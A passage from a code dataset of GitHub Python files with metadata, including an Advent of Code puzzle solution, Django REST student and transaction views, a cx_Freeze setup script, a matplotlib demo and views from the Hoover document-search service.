"utils.SerializableStateObservation.Phase.START", "line_number": 197, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 197, "usage_type": "name"}, {"api_name": "utils.SerializableStateObservation.Phase.FINISH", "line_number": 199, "usage_type": "attribute"}, {"api_name": "utils.SerializableStateObservation.Phase", "line_number": 199, "usage_type": "name"}, {"api_name": "Types.LEARNING_SSO_TYPE.IMAGE", "line_number": 206, "usage_type": "attribute"}, {"api_name": "Types.LEARNING_SSO_TYPE", "line_number": 206, "usage_type": "name"}, {"api_name": "Types.LEARNING_SSO_TYPE.BOTH", "line_number": 207, "usage_type": "attribute"}, {"api_name": "Types.LEARNING_SSO_TYPE", "line_number": 207, "usage_type": "name"}, {"api_name": "logging.exception", "line_number": 212, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 214, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 215, "usage_type": "call"}, {"api_name": "ElapsedCpuTimer.ElapsedCpuTimer", "line_number": 222, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.TOTAL_LEARNING_TIME", "line_number": 223, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 223, "usage_type": "name"}, {"api_name": "ElapsedCpuTimer.ElapsedCpuTimer", "line_number": 224, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.START_TIME", "line_number": 225, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 225, "usage_type": "name"}, {"api_name": "importlib.import_module", "line_number": 235, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 240, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 241, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 242, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 244, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 245, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 246, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 249, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 251, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 252, "usage_type": "call"}, {"api_name": "ElapsedCpuTimer.ElapsedCpuTimer", "line_number": 259, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.INITIALIZATION_TIME", "line_number": 260, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 260, "usage_type": "name"}, {"api_name": "ElapsedCpuTimer.ElapsedCpuTimer", "line_number": 274, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.ACTION_TIME", "line_number": 275, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 275, "usage_type": "name"}, {"api_name": "CompetitionParameters.CompetitionParameters.ACTION_TIME_DISQ", "line_number": 282, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 282, "usage_type": "name"}, {"api_name": "ElapsedCpuTimer.ElapsedCpuTimer", "line_number": 299, "usage_type": "call"}, {"api_name": "CompetitionParameters.CompetitionParameters.EXTRA_LEARNING_TIME", "line_number": 304, "usage_type": "attribute"}, {"api_name": "CompetitionParameters.CompetitionParameters", "line_number": 304, "usage_type": "name"}]} {"seq_id": "22121878508", "text": "from pathlib import Path\nfrom itertools import islice\n\nINPUT_FILE = Path(__file__).parent / \"input.txt\"\n\ndef find_batch(elf_group: list[str]) -> str:\n pack_1, pack_2, pack_3 = elf_group\n for char in pack_1:\n if char in pack_2:\n if char in pack_3:\n return char\n\ndef calculate_prio(char: str) -> int:\n if char.islower():\n return ord(char) - 96\n elif char.isupper():\n return ord(char) - 38\n\ndef main() -> None:\n prios_sum = 0\n with open(INPUT_FILE, 'r') as file:\n while True:\n elf_group = list(islice(file, 3))\n if not elf_group:\n break\n badge = find_batch(elf_group)\n prios_sum += calculate_prio(badge)\n print(prios_sum)\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "LMP-dev/AdventOfCode", "sub_path": "2022/03/puzzle6.py", "file_name": "puzzle6.py", "file_ext": "py", "file_size_in_byte": 792, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 4, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 23, "usage_type": "call"}]} {"seq_id": "43095878452", "text": "from django.shortcuts import render\nfrom django.http.response import JsonResponse\nfrom rest_framework.parsers import JSONParser\nfrom rest_framework import status\n\nfrom apis.models import StudentModel\nfrom apis.serializers import StudentSerializers\n\nfrom apis.models import TransactionModel\nfrom apis.serializers import TransactionSerializers\n\nfrom rest_framework.decorators import api_view\n\n@api_view(['GET','POST'])\ndef student_list(request):\n if request.method == 'GET':\n students = StudentModel.objects.all()\n\n name = request.GET.get('name',None)\n print(name)\n if name is not None:\n students = students.filter(name__icontains=name)\n student_serializer = StudentSerializers(students,many=True)\n return JsonResponse(student_serializer.data,safe=False)\n\n\n elif request.method == \"POST\":\n student_data = JSONParser().parse(request)\n student_serializer = StudentSerializers(data=student_data)\n if student_serializer.is_valid():\n student_serializer.save()\n return JsonResponse(student_serializer.data,status=status.HTTP_201_CREATED)\n return JsonResponse(student_serializer.errors,status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET','PUT','DELETE'])\ndef student_detail(request,unid):\n try:\n student = StudentModel.objects.get(pk=unid)\n except StudentModel.DoesNotExist :\n return JsonResponse({'message':\"The student does not exist\"},status = status.HTTP_404_NOT_FOUND)\n\n if request.method == \"GET\":\n student_serializer = StudentSerializers(student)\n return JsonResponse(student_serializer.data)\n elif request.method == \"PUT\":\n student_data = JSONParser().parse(request)\n student_serializer = StudentSerializers(student,data=student_data)\n if student_serializer.is_valid():\n student_serializer.save()\n return JsonResponse(student_serializer.data)\n return JsonResponse(student_serializer.errors,status=status.HTTP_400_BAD_REQUEST)\n elif request.method == 'DELETE':\n student.delete()\n return JsonResponse({'message':'Student data was deleted successfully'},status=status.HTTP_204_NO_CONTENT)\n\n\n\n@api_view(['GET','POST'])\ndef transaction_list(request,studentunid):\n if request.method == 'GET':\n transactions = TransactionModel.objects.all()\n if studentunid is not None:\n transactions = transactions.filter(studentunid__icontains=studentunid)\n transaction_serializer = TransactionSerializers(transactions,many=True)\n return JsonResponse(transaction_serializer.data,safe=False)\n\n\n elif request.method == \"POST\":\n transaction_data = JSONParser().parse(request)\n transaction_serializer = TransactionSerializers(data=transaction_data)\n if transaction_serializer.is_valid():\n transaction_serializer.save()\n return JsonResponse(transaction_serializer.data,status=status.HTTP_201_CREATED)\n return JsonResponse(transaction_serializer.errors,status=status.HTTP_400_BAD_REQUEST)", "repo_name": "aaryanDhakal22/test-api", "sub_path": "apis/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3073, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "apis.models.StudentModel.objects.all", "line_number": 17, "usage_type": "call"}, {"api_name": "apis.models.StudentModel.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "apis.models.StudentModel", "line_number": 17, "usage_type": "name"}, {"api_name": "apis.serializers.StudentSerializers", "line_number": 23, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 24, "usage_type": "call"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 28, "usage_type": "call"}, {"api_name": "apis.serializers.StudentSerializers", "line_number": 29, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 32, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 33, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 14, "usage_type": "call"}, {"api_name": "apis.models.StudentModel.objects.get", "line_number": 39, "usage_type": "call"}, {"api_name": "apis.models.StudentModel.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "apis.models.StudentModel", "line_number": 39, "usage_type": "name"}, {"api_name": "apis.models.StudentModel.DoesNotExist", "line_number": 40, "usage_type": "attribute"}, {"api_name": "apis.models.StudentModel", "line_number": 40, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 41, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 41, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 41, "usage_type": "name"}, {"api_name": "apis.serializers.StudentSerializers", "line_number": 44, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 47, "usage_type": "call"}, {"api_name": "apis.serializers.StudentSerializers", "line_number": 48, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 52, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 55, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 36, "usage_type": "call"}, {"api_name": "apis.models.TransactionModel.objects.all", "line_number": 62, "usage_type": "call"}, {"api_name": "apis.models.TransactionModel.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "apis.models.TransactionModel", "line_number": 62, "usage_type": "name"}, {"api_name": "apis.serializers.TransactionSerializers", "line_number": 65, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.parsers.JSONParser", "line_number": 70, "usage_type": "call"}, {"api_name": "apis.serializers.TransactionSerializers", "line_number": 71, "usage_type": "call"}, {"api_name": "django.http.response.JsonResponse", "line_number": 74, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 74, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 74, "usage_type": "name"}, {"api_name": "django.http.response.JsonResponse", "line_number": 75, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 75, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 75, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 59, "usage_type": "call"}]} {"seq_id": "3904967171", "text": "\n#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom cx_Freeze import setup, Executable\n\nimport sys\nimport os.path\nimport shutil\n\n# Remove the existing folders folder\nshutil.rmtree(\"build\", ignore_errors=True)\nshutil.rmtree(\"dist\", ignore_errors=True)\n\n\nincludefiles \t= [\"data\", \"res\"]\nincludes \t\t= []\nexcludes \t\t= ['_gtkagg', '_tkagg', 'bsddb', 'curses', 'email', 'pywin.debugger',\n\t\t\t\t\t'pywin.debugger.dbgcon', 'pywin.dialogs', 'tcl',\n\t\t\t\t\t'Tkconstants', 'Tkinter']\npackages \t\t= []\npath \t\t\t= []\n\n\ndef read(*paths):\n\t\"\"\" read files \"\"\"\n\twith open(os.path.join(*paths), 'r') as filename:\n\t\treturn filename.read()\n\n\nif sys.platform == 'win32':\n\texecutables = [\n\t\tExecutable(\tscript=\"Bafici.Resolver.Gui.py\",\n\t\t\t\t\tinitScript=None,\n\t\t\t\t\tbase='Win32GUI',\n\t\t\t\t\ttargetName=\"Bafici.Resolver.Gui.exe\",\n\t\t\t\t\tcompress=True,\n\t\t\t\t\tcopyDependentFiles=True,\n\t\t\t\t\tappendScriptToExe=False,\n\t\t\t\t\tappendScriptToLibrary=False,\n\t\t\t\t\ticon=os.path.join(\"res\", \"app.ico\")\n\t\t\t\t\t)\n\t\t\t\t]\nelse:\n\texecutables = [\n\t\tExecutable(\tscript=\"Bafici.Resolver.Gui.py\",\n\t\t\t\t\tinitScript=None,\n\t\t\t\t\ttargetName=\"Bafici.Resolver.Gui\",\n\t\t\t\t\tcopyDependentFiles=True,\n\t\t\t\t\ticon=os.path.join(\"res\", \"app.ico\")\n\t\t\t\t\t)\n\t\t\t\t]\n\nsetup(\tname=\"Bafici.Resolver\",\n\t\tversion='1.0',\n\t\tdescription='Generador de combinaciones de peliculas para el festival de cine independiente (BAFICI)',\n\t\tauthor=\"Patricio Moracho\",\n\t\t#long_description=(read('README.rst')),\n\t\tlicense='GPL v3',\n\t\tauthor_email=\"pmoracho@gmail.com\",\n\t\turl=\"https://bitbucket.org/pmoracho/python.projects\",\n\t\tpackages=packages,\n\t\tclassifiers=[\n\t\t\t'Programming Language :: Python :: 3.3',\n\t\t],\n\n\t\t#options = dict(build_exe = buildOptions),\n\t\toptions = {\"build_exe\": {\t\"includes\": includes,\n\t\t\t\t\t\t\t\t\t\"excludes\": excludes,\n\t\t\t\t\t\t\t\t\t\"path\": path,\n\t\t\t\t\t\t\t\t\t\"include_msvcr\": True,\n\t\t\t\t\t\t\t\t\t\"include_files\": includefiles\n\t\t\t\t\t\t\t\t}\n\t\t\t\t},\n\t\texecutables = executables\n\t)\n", "repo_name": "pmoracho/bafici.resolver", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "shutil.rmtree", "line_number": 12, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 27, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 31, "usage_type": "attribute"}, {"api_name": "cx_Freeze.Executable", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 41, "usage_type": "name"}, {"api_name": "cx_Freeze.Executable", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 50, "usage_type": "name"}, {"api_name": "cx_Freeze.setup", "line_number": 54, "usage_type": "call"}]} {"seq_id": "6630806038", "text": "import matplotlib.pyplot as plt\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.plot([1, 2, 3, 4], [10, 20, 25, 30], color='lightblue', linewidth=3)\nax.scatter([0.3, 3.8, 1.2, 2.5], [11, 25, 9, 26], color='darkgreen', marker='^')\nax.set_xlim(0.5, 4.5)\nplt.show()\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Prepare the data\nx = np.linspace(0, 10, 100)\n\n# Plot the data\nplt.plot(x, x, label='linear')\n\n# Add a legend\nplt.legend()\n\n# Show the plot\nplt.show()\n\n\n# from tkinter import *\n# from PIL import ImageTk, Image\n# root = Tk()\n#\n# canv = Canvas(root, width=80, height=80, bg=\"white\")\n# canv.pack(expand=YES, fill=BOTH)\n#\n# #s = \"//Users//alex//Documents//17358441326_6b69db2561_o.jpg\"\n# img = ImageTk.PhotoImage(Image.open(\n# \"/Users/alex/Downloads/OpenSolitaire-1.0/Assets/original/2_of_clubs.png\"))\n# canv.create_image(20, 20, anchor=NW, image=img)\n#\n# mainloop()\n", "repo_name": "Nitapol/ASCII_deletion_distance", "sub_path": "plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 880, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 2, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 2, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}]} {"seq_id": "34363409516", "text": "from datetime import timedelta\nimport datetime\nimport logging\nimport json\nimport os\nimport urllib.parse\nfrom time import time\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpResponse, Http404, JsonResponse\nfrom django.http import HttpResponseForbidden\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.urls import reverse\nfrom django.urls.exceptions import NoReverseMatch\nfrom django.conf import settings\nfrom django.views.defaults import permission_denied\nfrom django.core.exceptions import PermissionDenied\nfrom django.utils import timezone\nfrom django.views.decorators.cache import cache_control, never_cache\nfrom . import es\nfrom . import models\nfrom .models import Collection\nfrom . import signals\nfrom . import celery as cel\nimport requests\nimport re\nfrom django_ratelimit.decorators import ratelimit\nfrom django_ratelimit.exceptions import Ratelimited\n\nfrom hoover.search.tracing import Tracer\ntracer = Tracer(__name__)\n\nlog = logging.getLogger(__name__)\nSEARCH_KEY = 'hoover.search.search'\nBATCH_KEY = 'hoover.search.batch_search'\n\n# keep results valid for this interval\nSEARCH_CACHE_AGE = timedelta(hours=8)\nBATCH_CACHE_AGE = timedelta(hours=12)\n\n# join refreshed/recent requests with\nSEARCH_CACHE_JOIN_RUNNING_MAX_AGE = timedelta(minutes=4)\nBATCH_CACHE_JOIN_RUNNING_MAX_AGE = timedelta(minutes=15)\n\n# time to wait for celery task to finish\nSEARCH_SYNC_WAIT_FOR_RESULTS = timedelta(minutes=2)\nBATCH_SYNC_WAIT_FOR_RESULTS = timedelta(minutes=5)\n\nBASIC_VIEW_CACHE_OPT = dict(\n private=True,\n max_age=60,\n stale_while_revalidate=60,\n)\n\n\n# ================================================================================\n# HELPERS\n# ================================================================================\n\ndef JsonErrorResponse(reason, status=400):\n return JsonResponse({'status': 'error', 'reason': reason}, status=status)\n\n\ndef collections_acl(user, collections_arg, empty_ok=False):\n if empty_ok and not collections_arg:\n return set()\n requested = set(collections_arg)\n assert len(requested) > 0, 'no collections selected'\n available = list(Collection.objects_for_user(user))\n approved = set(col for col in available if col.name in requested)\n if not approved:\n msg = 'collections not found or access denied: ' + str(collections_arg)\n raise PermissionDenied(msg)\n return approved\n\n\ndef _sanitize_utf8_values(value):\n \"\"\"Ensure UTF-8 strings have valid encodings in dict.\n\n Needed to avoid errors down the line when trying to put the search output into Postgres.\"\"\"\n\n if isinstance(value, str):\n fixed_str = _fix_string(value)\n if fixed_str != value:\n log.warning('SANITIZE value: old=%s new=%s', value, fixed_str)\n return fixed_str\n elif isinstance(value, list):\n return [_sanitize_utf8_values(x) for x in value]\n elif isinstance(value, dict):\n return {k: _sanitize_utf8_values(v) for k, v in value.items()}\n else:\n return value\n\n\ndef _fix_string(s):\n \"\"\"Fix potential encoding errors for this UTF-8 string.\"\"\"\n return s.encode('utf-8', errors='replace').decode('utf-8', errors='replace')\n # return s.encode('utf-16', 'surrogatepass')\\\n # .decode('utf-16', errors='replace')\\\n # .encode('utf-8', errors='backslashreplace')\\\n # .decode('utf-8', errors='replace')\n\n\ndef _check_fields(query_fields, allowed_fields):\n all_fields = allowed_fields['all'] + allowed_fields['_source']\n for x in query_fields:\n x = x.replace('.*', '')\n assert x in all_fields, 'field not recognized'\n\n\ndef rates(group, request):\n if settings.HOOVER_RATELIMIT_USER:\n return (settings.HOOVER_RATELIMIT_USER[0], settings.HOOVER_RATELIMIT_USER[1])\n else:\n return None\n\n\n# ================================================================================\n# BASIC VIEWS\n# ================================================================================\n\n# these views don't have any user data and can be cached on the browser side for\n# a minute or two, to limit the request count and browsing lag because of these 5-6\n# new connections every tab\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\ndef ping(request):\n Collection.objects.count()\n return HttpResponse('ok\\n')\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\ndef home(request):\n return render(request, 'home.html')\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef collections(request):\n return JsonResponse([\n {'name': col.name, 'title': col.title, 'stats': col.get_meta()['stats']}\n for col in Collection.objects_for_user(request.user)\n ], safe=False)\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef search_fields(request):\n assert request.user\n assert request.user.username\n return JsonResponse({\n 'fields': es.get_fields(request.user.profile.uuid),\n }, safe=False)\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef is_staff(request):\n if request.user.is_staff:\n return JsonResponse({'is_staff': True}, status=200)\n else:\n return JsonResponse({'is_staff': False}, status=403)\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef limits(request):\n \"\"\" Get rate limits \"\"\"\n return JsonResponse({\n 'batch': settings.HOOVER_BATCH_LIMIT,\n 'requests': {\n 'interval': settings.HOOVER_RATELIMIT_USER[1],\n 'limit': settings.HOOVER_RATELIMIT_USER[0],\n 'count': 0,\n },\n })\n\n\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef collection_access(request, collection_name):\n '''View that returns a list of users who can access a collection.\n\n Returns a JsonResponse with usernames and the reasons why that user can access\n the collection. The reasons can be individual access or access through a group.\n '''\n col = list(collections_acl(request.user, [collection_name]))\n if not col:\n raise Http404\n col = col[0]\n user_list = {}\n for u in col.users.all():\n user_list[u.username] = 'has individual access'\n for group in col.groups.all():\n for u in group.user_set.all():\n description = f\"has access through group '{group.name}'\"\n if u.username not in user_list:\n user_list[u.username] = description\n else:\n user_list[u.username] = user_list[u.username] + ', ' + description\n return JsonResponse(user_list)\n\n\n@tracer.wrap_function()\n@cache_control(**BASIC_VIEW_CACHE_OPT)\n@ratelimit(key='user', rate=rates, block=True)\ndef whoami(request):\n if settings.HOOVER_AUTHPROXY:\n logout_url = \"/oauth2/sign_out?rd=\" + urllib.parse.quote(str(os.getenv('LIQUID_CORE_LOGOUT_URL')), safe='')\n else:\n logout_url = reverse('logout') + '?next=/'\n\n urls = {\n 'login': settings.LOGIN_URL,\n 'admin': reverse('admin:index'),\n 'logout': logout_url,\n 'hypothesis_embed': settings.HOOVER_HYPOTHESIS_EMBED,\n }\n try:\n password_change = reverse('password_change')\n except NoReverseMatch:\n pass\n else:\n urls['password_change'] = password_change\n\n if request.user.is_authenticated:\n uuid = request.user.profile.uuid\n else:\n uuid = None\n return JsonResponse({\n 'username': request.user.username,\n 'uuid': uuid,\n 'admin': request.user.is_superuser,\n 'urls': urls,\n 'title': settings.HOOVER_TITLE,\n 'liquid': {\n 'title': settings.HOOVER_LIQUID_TITLE,\n 'url': settings.HOOVER_LIQUID_URL,\n },\n })\n\n\n# ================================================================================\n# SEARCH VIEWS\n# ================================================================================\n\n# These views shouldn't be cached - we have our own caching mechanism.\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef search(request):\n \"\"\"API view that fetches search results.\n\n All permission checks for users and fields must be handled here. Then, `_cached_search` is called to\n actually run the search and return results.\n \"\"\"\n\n t0 = time()\n body = json.loads(request.body.decode('utf-8'))\n collections = collections_acl(request.user, body['collections'])\n dedup_collections = collections_acl(request.user, body.get('dedup_collections', []), empty_ok=True)\n source_fields = body.get('_source', [])\n query_fields = body['query'].get('fields', [])\n _check_fields(source_fields + query_fields,\n es.get_fields(request.user.profile.uuid))\n refresh = bool(request.GET.get('refresh', None))\n\n success = False\n try:\n args = dict(\n from_=body.get('from', 0),\n size=body.get('size', 10),\n query=body['query'],\n _source=body.get('_source'),\n post_filter=body.get('post_filter'),\n sort=body.get('sort', ['_score']),\n aggs=body.get('aggs', {}),\n highlight=body.get('highlight'),\n collections=[c.name for c in collections],\n dedup_collections=[c.name for c in dedup_collections],\n search_after=body.get('search_after'),\n )\n cache_entry = _cached_search(collections, request.user, args,\n refresh=refresh, wait=True)\n response = cache_entry.result\n response['status'] = 'ok'\n success = True\n return JsonResponse(response)\n\n finally:\n signals.search.send('hoover.search', **{\n 'request': request,\n 'collections': collections,\n 'duration': time() - t0,\n 'success': success,\n })\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef async_search(request):\n \"\"\"API view that fetches search results.\n\n All permission checks for users and fields must be handled here. Then, `_cached_search` is called to\n actually run the search and return results.\n \"\"\"\n\n t0 = time()\n body = json.loads(request.body.decode('utf-8'))\n collections = collections_acl(request.user, body['collections'])\n dedup_collections = collections_acl(request.user, body.get('dedup_collections', []), empty_ok=True)\n source_fields = body.get('_source', [])\n query_fields = body['query'].get('fields', [])\n _check_fields(source_fields + query_fields,\n es.get_fields(request.user.profile.uuid))\n refresh = bool(request.GET.get('refresh', None))\n\n success = False\n try:\n args = dict(\n from_=body.get('from', 0),\n size=body.get('size', 10),\n query=body['query'],\n _source=body.get('_source'),\n post_filter=body.get('post_filter'),\n sort=body.get('sort', ['_score']),\n aggs=body.get('aggs', {}),\n highlight=body.get('highlight'),\n collections=[c.name for c in collections],\n dedup_collections=[c.name for c in dedup_collections],\n search_after=body.get('search_after'),\n )\n cache_entry = _cached_search(collections, request.user, args,\n refresh=refresh, wait=False)\n success = True\n return JsonResponse(cache_entry.to_dict())\n\n finally:\n signals.search.send('hoover.async_search', **{\n 'request': request,\n 'collections': collections,\n 'duration': time() - t0,\n 'success': success,\n })\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef async_search_get(request, uuid):\n search_result = models.SearchResultCache.objects.get(task_id=uuid)\n assert search_result.user == request.user\n wait = bool(request.GET.get('wait', None))\n\n if wait and not search_result.date_finished:\n async_result = _search.AsyncResult(task_id=search_result.task_id)\n # wait for the async result to be set\n async_result.get(timeout=SEARCH_SYNC_WAIT_FOR_RESULTS.total_seconds())\n # flush the object that was being modified in the async task\n search_result.refresh_from_db()\n # make sure it's actually got a result, and return it\n assert search_result.result is not None, \"search failed!\"\n\n return JsonResponse(search_result.to_dict())\n\n\ndef thumbnail_rate(group, request):\n # thumbnail url looks like this: baseurl/snoop/collections/{collection}/{hash}/thumbnail/200.jpg\n has_thumbnail = re.search(r'^.+/thumbnail/\\d{3}.jpg$', request.path)\n if has_thumbnail:\n return settings.HOOVER_RATELIMIT_THUMBNAIL\n if settings.HOOVER_RATELIMIT_USER:\n return (settings.HOOVER_RATELIMIT_USER[0], settings.HOOVER_RATELIMIT_USER[1])\n else:\n return None\n\n\n# leave caching unset for the loader to decide\n@tracer.wrap_function()\n@ratelimit(key='user', rate=thumbnail_rate, block=True)\ndef doc(request, collection_name, id, suffix):\n for collection in Collection.objects_for_user(request.user):\n if collection.name == collection_name:\n break\n else:\n raise Http404\n t0 = time()\n success = False\n try:\n rv = collection.get_loader().get(id).view(request, suffix)\n success = True\n return rv\n\n finally:\n signals.doc.send('hoover.search', **{\n 'request': request,\n 'collection': collection,\n 'doc_id': id,\n 'duration': time() - t0,\n 'success': success,\n })\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef doc_tags(request, collection_name, id, suffix):\n for collection in Collection.objects_for_user(request.user):\n if collection.name == collection_name:\n break\n else:\n raise Http404\n\n username = request.user.username\n if not username:\n return HttpResponseForbidden()\n user_uuid = request.user.profile.uuid\n assert user_uuid, 'user has no tags profile uuid!'\n url = settings.SNOOP_BASE_URL + f\"/collections/{collection_name}/{id}/tags/{username}/{user_uuid}{suffix}\"\n r = requests.request(\n method=request.method,\n url=url,\n data=request.body,\n params=request.GET or request.POST,\n cookies=request.COOKIES,\n headers=request.headers,\n )\n\n return HttpResponse(\n r.content,\n content_type=r.headers.get('Content-Type'),\n status=r.status_code,\n reason=r.reason,\n )\n\n\n@tracer.wrap_function()\n@csrf_exempt\n@never_cache\n@ratelimit(key='user', rate=rates, block=True)\ndef batch(request):\n t0 = time()\n body = json.loads(request.body.decode('utf-8'))\n collections = collections_acl(request.user, body['collections'])\n\n query_strings = body.get('query_strings')\n aggs = body.get('aggs')\n if not collections:\n return JsonErrorResponse(\"No collections selected.\")\n if not query_strings:\n return JsonErrorResponse(\"No items to be searched.\")\n if len(query_strings) > settings.HOOVER_BATCH_LIMIT:\n return JsonErrorResponse(\"Too many search queries.\")\n kwargs = {\n 'collections': [c.name for c in collections],\n 'query_strings': query_strings,\n 'aggs': aggs,\n }\n\n success = False\n try:\n res = _cached_batch(\n collections,\n request.user,\n kwargs,\n wait=True,\n ).result\n res['status'] = 'ok'\n success = True\n return JsonResponse(res)\n\n except es.SearchError as e:\n return JsonErrorResponse(e.reason)\n\n finally:\n signals.batch.send('hoover.batch', **{\n 'request': request,\n 'collections': collections,\n 'duration': time() - t0,\n 'success': success,\n 